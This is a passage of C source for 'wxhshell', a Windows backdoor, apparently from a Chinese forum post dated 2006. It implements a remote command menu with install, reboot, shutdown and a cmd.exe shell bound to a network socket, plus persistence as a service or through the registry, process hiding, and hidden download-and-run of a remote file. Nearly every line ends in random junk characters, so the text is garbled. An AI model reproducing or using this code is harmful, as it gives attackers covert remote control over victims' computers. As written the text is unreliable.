    switch(cmd[0]) { NflRNu:-  
  9PWqoz2c  
  // 帮助 2SJ|$VsLaE  
  case '?': { JB9s# `  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nD}CQ_C  
    break; pg/SYEvsV  
  } cb`ik)=K%  
  // 安装 A9kn\U92  
  case 'i': { {"hyr/SKd  
    if(Install()) PGJkQsp0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QP<vjj%  
    else "4WwiI9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r(p@{L185  
    break; I0v4TjHH  
    } UY/qI%#L#,  
  // 卸载 _&K>fy3t&  
  case 'r': { !H4C5wDu  
    if(Uninstall()) !f)^z9QX8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wG",Obja  
    else f_;6uCCO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &m{vLw  
    break; ?xYoCn}Z  
    } WNo<0|X  
  // 显示 wxhshell 所在路径 sO 0j!;N  
  case 'p': { '=cAdja  
    char svExeFile[MAX_PATH]; !xz{X?  
    strcpy(svExeFile,"\n\r"); /(?,S{]  
      strcat(svExeFile,ExeFile); u$nYddak  
        send(wsh,svExeFile,strlen(svExeFile),0); ^ SW!S_&Z2  
    break; +a74] H"  
    } *s (L!+  
  // 重启 DUWSY?^c  
  case 'b': { gbjql+Mx+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pXl *`[0X#  
    if(Boot(REBOOT)) LHHDD\X   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c-=z<:Kf  
    else {  y aLc~K  
    closesocket(wsh); k*!f@ M  
    ExitThread(0); ?~WDl j3  
    } QRlrcauM  
    break; z~\Y*\f^Y3  
    } 5v5K}hx  
  // 关机 cnR18NK  
  case 'd': { :i/uRR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0%;y'd**Ck  
    if(Boot(SHUTDOWN)) *L=F2wW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _OvIi~KW+  
    else { qTrb)95  
    closesocket(wsh); 1Gh3o}z  
    ExitThread(0); f/tJ>^N5  
    } J:G~9~V^  
    break; '-vzQd@y  
    } <XH,kI(%  
  // 获取shell u8Oo@xf0Fr  
  case 's': {  9t_N 9@  
    CmdShell(wsh); zi= gOm  
    closesocket(wsh); $-"V 2  
    ExitThread(0); +JPHQx'W  
    break; f~v@;/HL  
  } nW!pOTJq21  
  // 退出 +=g9T`YbE  
  case 'x': { M}qrF~   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d D;r35h=  
    CloseIt(wsh); :y3e-lr  
    break; o 76QQ+hP  
    } 7N}==T89[  
  // 离开 faPgp  
  case 'q': { IT0 [;eqR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *."a>?D~  
    closesocket(wsh); 95b65f  
    WSACleanup(); ~v^I*/uY  
    exit(1); /6nj 4.xxc  
    break; t{o&$s93  
        } 3B3l)eX  
  } A v[|G4n  
  } ZmzYJ$:6  
2t 1u{  
  // 提示信息 UwVc!Lys  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W~2T/~M  
} CyV(+KBe_  
  }   7)  
4A\>O?\  
  return; FiW>kTM8  
} ))eQZ3ap9  
:JfT&YYi"  
// shell模块句柄 Nk@ag)  
int CmdShell(SOCKET sock) N9X`81)t  
{ uM74X^U  
STARTUPINFO si; MH h;>tw  
ZeroMemory(&si,sizeof(si)); rLJjK$_x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sq1v._^s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >%Nqgn$V  
PROCESS_INFORMATION ProcessInfo; khS >  
char cmdline[]="cmd"; boWaH}?0'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~pve;(e=  
  return 0; IM*T+iRKqF  
} YCS8qEP&  
dXewS_7  
// 自身启动模式 .|x" '3#  
int StartFromService(void) xe9V'wICp(  
{ #Oq~ZV|<l  
typedef struct hH*/[|z  
{ *8#]3M]  
  DWORD ExitStatus; 3iv;4e ;  
  DWORD PebBaseAddress; 3{R7y  
  DWORD AffinityMask; U7le> d;L  
  DWORD BasePriority; 7B8.;0X$W  
  ULONG UniqueProcessId; +Qo]'xKr  
  ULONG InheritedFromUniqueProcessId; ^:64(7  
}   PROCESS_BASIC_INFORMATION; sB'Z9  
&#DKB#.2  
PROCNTQSIP NtQueryInformationProcess; 6Cz%i 6)  
3,$G?auW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 04P!l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3Q_L6Wj~  
d|RDx;r l8  
  HANDLE             hProcess; 7@l.ZECJ1  
  PROCESS_BASIC_INFORMATION pbi; !a<}Mpeg  
0w<G)p~%n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9#D?wR#J=  
  if(NULL == hInst ) return 0; oH]"F  
3*;S%1C^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L"ob ))GF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,V{Cy`bi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;+Uc} =  
ua HB\Uc  
  if (!NtQueryInformationProcess) return 0; gaa;PX  
#(f- cK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @-H D9h  
  if(!hProcess) return 0; _ tO:,%dL  
XTPf~Te,=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2nA/{W\hC  
kNDN<L  
  CloseHandle(hProcess); -eSZpzp  
 0gOB $W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ';.n#  
if(hProcess==NULL) return 0; iqh"sx{5bp  
z*BGaSX %  
HMODULE hMod; pG0Ca](  
char procName[255]; ;JAb8dyS2  
unsigned long cbNeeded; })^%>yLfc|  
|6y(7Ha  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :rhh=nHgn  
g_2EH  
  CloseHandle(hProcess); H<wrusRg  
dlB?/J<  
if(strstr(procName,"services")) return 1; // 以服务启动 (cLcY%$  
kjOPsz*0  
  return 0; // 注册表启动 p5PTuJ>q  
} pJ ;4rrSK  
|\iJ6m;a  
// 主模块 3,4m|Z2)  
int StartWxhshell(LPSTR lpCmdLine) fx `oe  
{ B jsF5~+\  
  SOCKET wsl; jpI=B  
BOOL val=TRUE; OZed+t=  
  int port=0; ^DWhIxBh  
  struct sockaddr_in door; ,a1 1&"xl  
u&\QZW?  
  if(wscfg.ws_autoins) Install(); ,8/Con|o  
3D*vNVI  
port=atoi(lpCmdLine); n\G88)Dv`V  
_hbTxyj  
if(port<=0) port=wscfg.ws_port; qsTB)RdjP%  
b i 8Qbo4  
  WSADATA data; }6#u}^gy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C0. bjFT|  
6Lhfb\2?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cc_v4d{x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gHe%N? '  
  door.sin_family = AF_INET; VGtKW kVH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [23F0-p  
  door.sin_port = htons(port); EXD Qr'"  
i!+Wv-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6l|,J`G  
closesocket(wsl); ;&8  
return 1; )Fw{|7@N  
} xKW`m  
[>y0Xf9^  
  if(listen(wsl,2) == INVALID_SOCKET) { 4~YPLu  
closesocket(wsl); rbD}fUg  
return 1; +M %zOX/  
} w,qYT -R  
  Wxhshell(wsl); k6mC_  
  WSACleanup(); Wo[*P\8  
yB~` A>~M  
return 0; Jkq?wpYp  
Q@"mL  
} 5(V'<  
O!=ae|  
// 以NT服务方式启动 '"QN{ja  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  XBF]|}%  
{ '}|sRuftb  
DWORD   status = 0; `PVr;&  
  DWORD   specificError = 0xfffffff; {u4=*> ?G  
eTrIN,4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G<f"_NT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %@9pn1,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3$Y(swc  
  serviceStatus.dwWin32ExitCode     = 0; ,j|9Bs  
  serviceStatus.dwServiceSpecificExitCode = 0; JVx ,1lth  
  serviceStatus.dwCheckPoint       = 0; uv$t>_^  
  serviceStatus.dwWaitHint       = 0; ? pkg1F7  
B]-~hP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )of?!>'S[  
  if (hServiceStatusHandle==0) return; tbr1mw'G  
G*x"drP  
status = GetLastError(); 6;8Jy  
  if (status!=NO_ERROR) X;D"}X4(E  
{ "`'' eV3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8p)*;Y  
    serviceStatus.dwCheckPoint       = 0; RHOEyXhOA  
    serviceStatus.dwWaitHint       = 0; RCvf@[y4  
    serviceStatus.dwWin32ExitCode     = status; / Q8glLnM  
    serviceStatus.dwServiceSpecificExitCode = specificError; )QO"1#zg@c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3xU in  
    return; Mw,7+  
  } `NNr]__  
)1!jv!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H*M)<"X  
  serviceStatus.dwCheckPoint       = 0; 4LfD{-_uW  
  serviceStatus.dwWaitHint       = 0; NrrnG]#p1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); paG^W&`;  
} ?'L3B4  
o;D[ F  
// 处理NT服务事件,比如:启动、停止 tnCGa%M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k25:H[   
{ =eNh))]  
switch(fdwControl) a?]"|tQ'  
{ ;E{k+vkqy  
case SERVICE_CONTROL_STOP: yS)73s/MrY  
  serviceStatus.dwWin32ExitCode = 0; V7\@g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qbwX*E~ ;  
  serviceStatus.dwCheckPoint   = 0; ZI8*PX%2  
  serviceStatus.dwWaitHint     = 0; ;jEDGKLq  
  { cJ> #jl&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;[ag|YU$Y  
  } cGVIO"(VP  
  return; j$TTLFK1  
case SERVICE_CONTROL_PAUSE: 9]DMHA@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L-}6}5[  
  break; x\r[Zp|  
case SERVICE_CONTROL_CONTINUE: TrBBV]4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H]XY  
  break; >#Obhs|S{C  
case SERVICE_CONTROL_INTERROGATE: p[zKc2TPk  
  break; k{ru< cf  
}; 86BY032H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4%(\y"T  
} {M.OOEcIp  
<+tSTc4>r  
// 标准应用程序主函数 *C*'J7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yG`J3++ S  
{ `~hB-Z5dI  
g2&%bNQ-5  
// 获取操作系统版本 {H5a.+-(bE  
OsIsNt=GetOsVer(); s?irT;=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "GTlJqhk  
aBN^J_  
  // 从命令行安装 *x;&fyR  
  if(strpbrk(lpCmdLine,"iI")) Install(); %rmn+L),;  
4w\@D>@}H  
  // 下载执行文件 M'n2j  
if(wscfg.ws_downexe) { _=wu>h&7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fXV+aZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); K>tubLYh  
} S{qc1qj  
Hj>(kL9H  
if(!OsIsNt) { i Sm .E  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^Pq4 n%x  
HideProc(); 9uNkd2 #  
StartWxhshell(lpCmdLine); Ju"* ;/  
} !Rq.L  
else <yw6Om:n<  
  if(StartFromService()) j`'9;7h M6  
  // 以服务方式启动 w6RB|^  
  StartServiceCtrlDispatcher(DispatchTable); 'nrX RDb  
else u?J!3ZEtb  
  // 普通方式启动 nkp,  
  StartWxhshell(lpCmdLine); iE~][_%U  
jc4#k+sb  
return 0; *u i!|;  
}
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只看该作者 1 发表于: 2006-10-10
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